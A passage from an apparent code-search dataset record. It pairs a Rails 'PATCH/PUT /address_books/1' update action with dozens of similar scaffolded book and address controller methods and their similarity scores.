set_address_book\n @address_book = AddressBook.find(params[:id])\n end", "def set_address_book\n @address_book = AddressBook.find(params[:id])\n end", "def search_for_google_books(search_term)\n url = \"https://www.googleapis.com/books/v1/volumes?q=#{search_term}\"\n response = RestClient.get(url)\n hash = JSON.parse(response)\n hash[\"items\"]\nend", "def index\n @contacts = current_user.get_address_book_contacts\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contacts }\n end\n end", "def index\n authorize! :query, Book\n @books = Book.order(:title)\n respond_to do |format|\n format.html\n format.json {render text: @books.to_json}\n format.xml {render text: @books.to_xml}\n end\n end", "def auto_complete\n q = params[:term].gsub(/\\s/, \"\").gsub(\" \", \"\")\n uri = Addressable::URI.parse(\"https://www.googleapis.com/books/v1/volumes?q=#{q}&country=JP&maxResults=40&orderBy=relevance\")\n begin\n response = Net::HTTP.get_response(uri)\n result = JSON.parse(response.body)\n book_result = result[\"items\"]\n .select{|item| item.has_key?(\"volumeInfo\") && item[\"volumeInfo\"].has_key?(\"title\")}\n .take(40)\n .map{|item|\n {\n title: item[\"volumeInfo\"][\"title\"],\n subtitle: item[\"volumeInfo\"][\"subtitle\"],\n authors: item[\"volumeInfo\"][\"authors\"],\n categories: item[\"volumeInfo\"][\"categories\"],\n google_books_id: item[\"id\"],\n info: item[\"volumeInfo\"][\"industryIdentifiers\"]\n }\n }\n @results = Book.auto_complete_map(book_result)\n\n render json: @results.to_json\n rescue => e\n p e.message\n end\n end", "def show\n render json: @api_book\n end", "def show\n @billing_address = BillingAddress.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @billing_address }\n end\n end", "def show\n @booking_postal_code = BookingPostalCode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking_postal_code }\n end\n end", "def show\n @contributor_address = ContributorAddress.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contributor_address }\n end\n end", "def index\n @book = Book.find(params[:book_id])\n end", "def show\n @usersbook = Usersbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usersbook }\n end\n end", "def new\n @address_book = AddressBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @address_book }\n end\n end", "def show\n @address_customer = AddressCustomer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @address_customer }\n end\n end", "def show\n @ebook = Ebook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ebook }\n end\n end", "def show\n @book_shelf = BookShelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_shelf }\n end\n end", "def book(id)\n\t\t\tresponse = request('/book/show', :id => id)\n\t\t\tHashie::Mash.new(response['book'])\n\t\tend", "def index\n @books = @collection.books\n #original: @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def list_books\n books = Book.all\n \n if books.count > 0\n render json: books\n else\n render json: {e:\"No books added\"}, :status => :error\n end\n end", "def get_address_json\r\n address = @customer.addresses.find( params[:id] )\r\n render :text => address.attributes.to_json\r\n end", "def retrieve_address\n address_id = params[:address_id] \n @address = Address.find(address_id)\n end", "def retrieve_book\n @book = Book.find(params[:book_id])\n end", "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def index\r\n @books = Book.paginate(:page => params[:page], :per_page => 30)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @books }\r\n end\r\n end", "def show\n @user_address = UserAddress.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_address }\n end\n end", "def create\n @address_book = AddressBook.new(address_book_params)\n\n respond_to do |format|\n if @address_book.save\n format.html { redirect_to @address_book, notice: 'Address book was successfully created.' }\n format.json { render :show, status: :created, location: @address_book }\n else\n format.html { render :new }\n format.json { render json: @address_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @title = \"List Books\"\n @books = Book.paginate :page=>params[:page], :per_page => 100, :order => 'title'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def index\n @addresses = Address.scoped.order(sort_column + \" \" + sort_direction).paginate(:page => params[:page], :per_page => 30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @addresses }\n end\n end", "def index\n @addresses = Address.all\n end", "def index\n @addresses = Address.all\n end", "def index\n @address_books = AddressBook.find(:all, :include => :addresses, :order => 'address_books.rank ASC, addresses.rank ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @address_books }\n end\n end", "def show\n @title = \"Show Book\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def index\n #@books = Book.all\n @books = Book.find(:all, :order => \"isbn\")\n @book_images = BookImage.find(:all, :include => :book)\n #@book_images = []\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def get_books(response)\n response[\"items\"]\nend", "def get_book\n @book = Book.where(id: params[:book_id]).first\n end", "def show\n @bookself = Bookself.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookself }\n end\n end" ]
[ "0.76229805", "0.6974088", "0.6974088", "0.6974088", "0.697265", "0.6950635", "0.6436496", "0.64208305", "0.63960457", "0.63895285", "0.63481176", "0.630802", "0.63050646", "0.6298104", "0.62939817", "0.6275961", "0.62499386", "0.62499386", "0.62499386", "0.62447834", "0.62447834", "0.62211204", "0.62211204", "0.62211204", "0.62211204", "0.62211204", "0.62211204", "0.62211204", "0.62211204", "0.62211204", "0.62155247", "0.6168131", "0.61607176", "0.61482674", "0.61477447", "0.6124147", "0.6121115", "0.6117152", "0.61166567", "0.6115435", "0.61111546", "0.6065781", "0.60463995", "0.6045208", "0.60450107", "0.60421044", "0.60414845", "0.6040233", "0.6024998", "0.60233676", "0.6008704", "0.60013354", "0.60012966", "0.60002005", "0.59913826", "0.59869415", "0.59814227", "0.5978414", "0.5978326", "0.59771353", "0.5956423", "0.5955791", "0.59529555", "0.595032", "0.5928117", "0.5928117", "0.5928117", "0.5920974", "0.59137416", "0.5912394", "0.5905842", "0.5901399", "0.5901126", "0.58940125", "0.5889665", "0.58712065", "0.58638304", "0.5862115", "0.5860464", "0.58473766", "0.58469236", "0.58462733", "0.58405906", "0.5828497", "0.5823433", "0.58218694", "0.5820836", "0.5818382", "0.5816074", "0.58098775", "0.5808728", "0.5800496", "0.580015", "0.57835406", "0.57835406", "0.5783165", "0.57784176", "0.5767863", "0.57618755", "0.57607174", "0.57577074" ]
0.0
-1
PATCH/PUT /address_books/1 PATCH/PUT /address_books/1.json
def update respond_to do |format| if @address_book.update(address_book_params) format.html { redirect_to @address_book, notice: '更新完成!Address book updated!' } format.json { render :show, status: :ok, location: @address_book } else format.html { render :edit } format.json { render json: @address_book.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_address_book(address_book_id, prop_patch)\n end", "def update\n respond_to do |format|\n if @address_book.update(address_book_params)\n format.html { redirect_to @address_book, notice: 'Address book was successfully updated.' }\n format.json { render :show, status: :ok, location: @address_book }\n else\n format.html { render :edit }\n format.json { render json: @address_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @address_book.update(address_book_params)\n format.html { redirect_to @address_book, notice: 'Address book was successfully updated.' }\n format.json { render :show, status: :ok, location: @address_book }\n else\n format.html { render :edit }\n format.json { render json: @address_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @address_book = AddressBook.find(params[:id])\n\n respond_to do |format|\n if @address_book.update_attributes(params[:address_book])\n flash[:notice] = :address_book_updated.l\n format.html { redirect_to(address_books_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @address_book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n \n format.json { render json: @book, status: :created, location: @book }\n else\n \n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @api_book = Api::Book.find(params[:id])\n\n if @api_book.update(api_book_params)\n head :no_content\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end", "def update\n if @address.update(address_params)\n render json: @address\n else\n render json: @address.errors, status: :unprocessable_entity\n end\n end", "def update\n\n if params[:action] == \"RETURN_BOOK\" \n @book.return()\n elseif params[:action] == \"BORROW_BOOK\"\n @book.borrow()\n end\n \n if @book.update(book_params)\n head :no_content\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end", "def update\n\t\trespond_to do |format|\n\t\t\tclient = Goodreads::Client.new(api_key: \"rSkvvZY8Wx27zcj4AfHA\", api_secret: \"S5WOpmY8pVtaEu1IwNn51DBafjoEIbjuxZdE6sNM\")\n\t\t\tbook = client.book_by_isbn(book_params[:isbn])\n\t\t\[email protected] = book.title\n\t\t\[email protected] = strip_tags(book.description)\n\t\t\[email protected] = book.work.original_title\n\t\t\[email protected] = book.num_pages\n\t\t\[email protected] = book.average_rating\n\t\t\[email protected] = book.authors.author.name\n\t\t\[email protected] = book.publisher\n\t\t\[email protected]\n\t\t\tformat.html { redirect_to @book, notice: 'Book was successfully updated.' }\n\t\t\tformat.json { render :show, status: :ok, location: @book }\n\t\tend\n end", "def update\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @book.update_attributes(params[:book])\r\n format.html { redirect_to books_url }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @book.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @book = Book.find(params[:id])\n \n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n @book.attributes = params[:book]\n # a break point for debugging:\n # debugger\n client = Goodreads.new\n book_info = client.book_by_isbn(params[:book][:isbn])\n @book.title = book_info.title if @book.title.blank?\n respond_to do |format|\n if @book.save\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @contact.address.update(address_params)\n render json: @contact.address\n else\n render json: @contact.errors, status: :unprocessable_entity\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order_book.update(order_book_params)\n format.html { redirect_to @order_book, notice: 'Order book was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_book }\n else\n format.html { render :edit }\n format.json { render json: @order_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @address = Address.find(params[:id])\n\n respond_to do |format|\n if @address.update_attributes(params[:address])\n format.html { redirect_to @address, :notice => 'Address was successfully updated.' }\n format.json { render :json => @address }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @address.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book_request.update(book_request_params)\n format.html { redirect_to @book_request, notice: 'Book request was successfully updated.' }\n format.json { render :show, status: :ok, location: @book_request }\n else\n format.html { render :edit }\n format.json { render json: @book_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def prop_patch(prop_patch)\n @carddav_backend.update_address_book(@address_book_info['id'], prop_patch)\n end", "def update\n respond_to do |format|\n if @shipping_book.update(shipping_book_params)\n format.html { redirect_to @shipping_book, notice: 'Shipping address in Shipping book was successfully updated.' }\n format.json { render :show, status: :ok, location: @shipping_book }\n else\n format.html { render :edit }\n format.json { render json: @shipping_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @address = Address.find(params[:id])\n\n respond_to do |format|\n if @address.update_attributes(params[:address])\n format.html { redirect_to @address, notice: 'Address was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @address.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @address = Address.find(params[:id])\n\n respond_to do |format|\n if @address.update_attributes(params[:address])\n format.html { redirect_to @address, notice: 'Address was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @address.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @address = Address.find(params[:id])\n\n respond_to do |format|\n if @address.update_attributes(params[:address])\n format.html { redirect_to @address, notice: 'Address was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @address.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @address = Address.find(params[:id])\n\n respond_to do |format|\n if @address.update_attributes(params[:address])\n format.html { redirect_to @address, notice: 'Address was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @address.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = @collection.books.find(params[:id])\n #original: @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to book_series_collection_books_url(@book_series, @collection), notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to manage_books_path, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n req = ActiveSupport::JSON.decode(request.body)\n @bookmark = Bookmark.find(req)\n\n respond_to do |format|\n if @bookmark.update_attributes(params[:id])\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render json: @bookmark, status: :created, location: @bookmarks }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render layout: 'form', action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @people = Person.pluck(:name, :id)\n puts \"*** From update: \" \n\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n rewriteParams\n @book = Book.find(params[:id])\n @book.authors << Author.find(params[:author][:name]) if not params[:author][:name].empty?\n @book.book_types << BookType.find(params[:book_type][:name]) if not params[:book_type][:name].empty?\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to(@book, :notice => 'Book was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @address = @addressable.addresses.find_by_id(params[:id])\n\n respond_to do |format|\n if @address.update_attributes(params[:address])\n format.html { redirect_to current_user, notice: 'address was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @address.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @address_book_item = AddressBookItem.find(params[:id])\n\n respond_to do |format|\n if @address_book_item.update_attributes(params[:address_book_item])\n format.html { redirect_to(@address_book_item, :notice => 'AddressBookItem was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @address_book_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.xml { head :ok }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @book.errors, status: :unprocessable_entity}\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @my_book.update(my_book_params)\n format.html { redirect_to @my_book, notice: 'My book was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_book }\n else\n format.html { render :edit }\n format.json { render json: @my_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @address.update(address_params)\n format.html { redirect_to @address, notice: \"Address was successfully updated.\" }\n format.json { render :show, status: :ok, location: @address }\n else\n format.html { render :edit }\n format.json { render json: @address.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @fault_book = FaultBook.find(params[:id])\n\n respond_to do |format|\n if @fault_book.update_attributes(params[:fault_book])\n format.html { redirect_to @fault_book, notice: 'Fault book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fault_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @address.update(address_params)\n format.html { redirect_to @address, notice: 'Address was successfully updated.' }\n format.json { render :show, status: :ok, location: @address }\n else\n format.html { render :edit }\n format.json { render json: @address.errors, status: 